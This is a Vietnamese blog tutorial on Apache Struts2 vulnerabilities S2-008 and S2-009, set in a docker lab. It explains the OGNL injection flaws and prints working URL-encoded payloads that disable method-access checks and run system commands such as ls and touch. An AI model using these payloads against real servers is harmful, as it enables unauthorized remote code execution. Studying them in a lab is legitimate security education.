HuuTuan .Info

Chia sẻ ATTT - CNTT - Đồ họa

Lỗ hổng bảo mật trên Apache Struts2 (S2-008 và S2-009)

I .  Lỗ hổng (S2-008)


1. Tổng quan




S2-008 liên quan đến nhiều lỗ hổng. Sự cố cấu hình chặn cookie có thể khiến các OGNL expession thực thi, nhưng hầu hết web container ( ví dụ như nTomcat) bị hạn chế ký tự cho tên cookie, một số ký tự chính không thể được sử dụng. Một điểm khác là nếu struts2 bật chế độ devMode, có nhiều debug interfaces có thể trực tiếp xem thông tin đối tượng hoặc thực thi các lệnh. Theo tác giả Kxlzx đề cập, tình huống này gần như không thể xảy ra trong môi trường thực. Vì vậy, nó trở nên vô nghĩa, nhưng tôi không nghĩ không có điều gì là tuyệt đối cả. Có thể hack một ứng dụng struts2 bật chế độ đebug trên server giống như một backdoor

Việc để các input đầu vào không có sự kiểm soát chính là nguyên nhân chính dẫn đến việc thực thi từ xa dễ dàng.


1. Thực thi lệnh từ xa trong Struts <= 2.2.1.1 (ExceptionDelegator)

   Khi một ngoại lệ xảy ra trong khi áp dụng các giá trị tham số cho các thuộc tính, giá trị được đánh giá là biểu thức OGNL. Ví dụ: điều này xảy ra khi đặt giá trị chuỗi cho thuộc tính số nguyên. Vì các giá trị không được lọc, kẻ tấn công có thể lạm dụng sức mạnh của  OGNL để thực thi mã Java tùy ý dẫn đến thực thi lệnh từ xa. Vấn đề này đã được báo cáo (https://issues.apache.org/jira/browse/WW-3668) và đã được khắc phục trong Struts 2.2.3.1. Tuy nhiên, khả năng thực thi mã Java tùy ý đã bị bỏ qua.

2. Thực thi lệnh từ xa trong Struts <= 2.3.1 (CookieInterceptor)
   Danh sách các ký tự được phép cho các tên tham số không được áp dụng cho CookieInterceptor. Khi Struts được cấu hình để xử lý tên cookie, kẻ tấn công có thể thực thi các lệnh hệ thống tùy ý với quyền truy cập phương thức tĩnh vào các hàm Java. Do đó, cờ allowStaticMethodAccess có thể được đặt thành true trong yêu cầu.

3. Ghi đè tệp tùy ý trong Struts <= 2.3.1 (ParameterInterceptor)
   Trong khi việc truy cập cờ allowStaticMethodAccess trong các tham số bị cấm vì Struts 2.2.3.1, kẻ tấn công vẫn có thể truy cập các hàm tạo được công khai chỉ với một tham số của kiểu String để tạo các đối tượng Java mới và truy cập vào setters của chúng chỉ với một tham số kiểu String. Điều này có thể bị lạm dụng trong ví dụ để tạo và ghi đè lên các tệp tùy ý. Để chèn các ký tự bị cấm vào tên tệp, một thuộc tính chuỗi chưa được khởi tạo có thể được sử dụng.

4. Thực thi lệnh từ xa trong Struts <= 2.3.1 (DebuggingInterceptor)
   Mặc dù bản thân nó không phải là một lỗ hổng bảo mật, xin lưu ý rằng các ứng dụng chạy trong chế độ devmod và sử dụng DebuggingInterceptor cũng rất dễ bị thực thi lệnh từ xa. Mặc dù các ứng dụng không bao giờ nên chạy trong chế độ devmod trong quá trình sản xuất, các nhà phát triển nên lưu ý rằng làm như vậy không chỉ có vấn đề về hiệu năng (như được ghi lại) mà còn có tác động bảo mật quan trọng.


2.  Cài đặt

docker-compose build
docker-compose up -d

3.  Khai thác

Ví dụ với tham số như:?debug=command&expression=<OGNL EXP> ở chế độ devMode, OGNL expression có thể thực hiện trực tiếp và ta có thể thực hiện command sau:
http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)

Ta thu được kết quả:






II.  Lỗ hổng (S2-009)


1. Tổng quan


Phiển bản ảnh hưởng: 2.1.0 - 2.3.1.1
xem thêm tại: http://struts.apache.org/docs/s2-009.html

Cài đặt

docker-compose build
docker-compose up -d

Tham khảo

Lỗ hổng này từ lỗi s2-003, s2-005. Nếu bạn muốn hiểu rõ hơn hãy đọc lại lỗ hổng s2-005: https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md
Phân tích lỗ hổng, theo như bài viết đề cập, phương thức của OGNL không chỉ xuất hiện trong lỗ hổng này, mà nó còn xuất hiện trong các ứng dụng java khác
Struts2 lỗ hổng s2-003 đã được fix bằng việc chặn dấu #, vì vậy s2-005 lại sử dụng unicode là \u0023 hoặc \43 để có thể bypass việc cấm trên, sau đó s2-005  đã được fix \ và các biểu tượng đặc biệt khác ngăn người dùng gửi dấu gạch chéo ngược "\".
Tuy nhiên nếu một parameter example được accepted ở action hiện tại, parameter này sẽ gửi đến OGNL expression. Vì vậy, chúng ta có thể đặt OGNL expression bên trongexample parameter và thực thi nó bằng /helloword.acton?example=<OGNL statement>&(example)('xxx')=1, và bypass việc chặn các ký tự đặc biệt như #, \.

Khai thác

Môi trường struts2 "feature display" với tên Struts Showcase. Chúng ta cần tìm một form action có chứa parameter và nhập vào string
Đầu tiên giải nén S2-009.war. Chúng ta có thể thấy mã nguồn và thấy thư mục WEB-INF/src , nhìn nó có vẻ giống AJAX.
Ta tìm được trong code: WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java:
public class Example5Action extends ActionSupport {

    private static final long serialVersionUID = 2111967621952300611L;

    private String name;
    private Integer age;


    public String getName() { return name; }
    public void setName(String name) { this.name = name; }

    public Integer getAge() { return age; }
    public void setAge(Integer age) { this.age = age; }

    @Override
    public String execute() throws Exception {
        return SUCCESS;
    }
}
Đoạn code này đơn giản như sau, nó chấp nhận parameter và gọi setName để gắn nó với private property this.name, thứ mà phù hợp yêu cầu của chúng ta. Sau đó ta xem WEB-INF/src/java/struts-ajax.xml để tìm setting cho URL routing
<package name="ajax" extends="struts-default">
    ...
    <action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
        <result name="input">/ajax/tabbedpanel/example5.jsp</result>
        <result>/ajax/tabbedpanel/example5Ok.jsp</result>
    </action>
    ...
</package>
Ta có thể thấy name=example5, vì thế truy cập controller bằng đường dẫn http://your-ip:8080/ajax/example5.action. Sau đó thực hiện OGNL exploit code vào parameter and truy cập URL:
GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
Host: localhost:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
POC không hiện kết quả, chúng ta sử dụng lệnh touch /tmp/success và thấy success file đã được tạo, và điều đó nghĩa là chúng ta đã exploit thành công.



payload 2:


http://ip:8080/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]


0 Response to "Lỗ hổng bảo mật trên Apache Struts2 (S2-008 và S2-009)"

Post a Comment

Nội Quy Khi Comment:
» Các bài comment phải nghiêm túc, không dung tục, không spam.
» Nội dung phải liên quan tới chủ đề bài viết.
» Những nhận xét spam sẽ bị xóa.
» Sử dụng tài khoản Google để được trợ giúp.
» Nặc danh thường không được chào đón.
Note : Hãy để lại nhận xét bên dưới bạn nhé !

Quảng Cáo TOP

Quảng Cáo TOP 1

Quảng Cáo TOP 2

Quảng Cáo TOP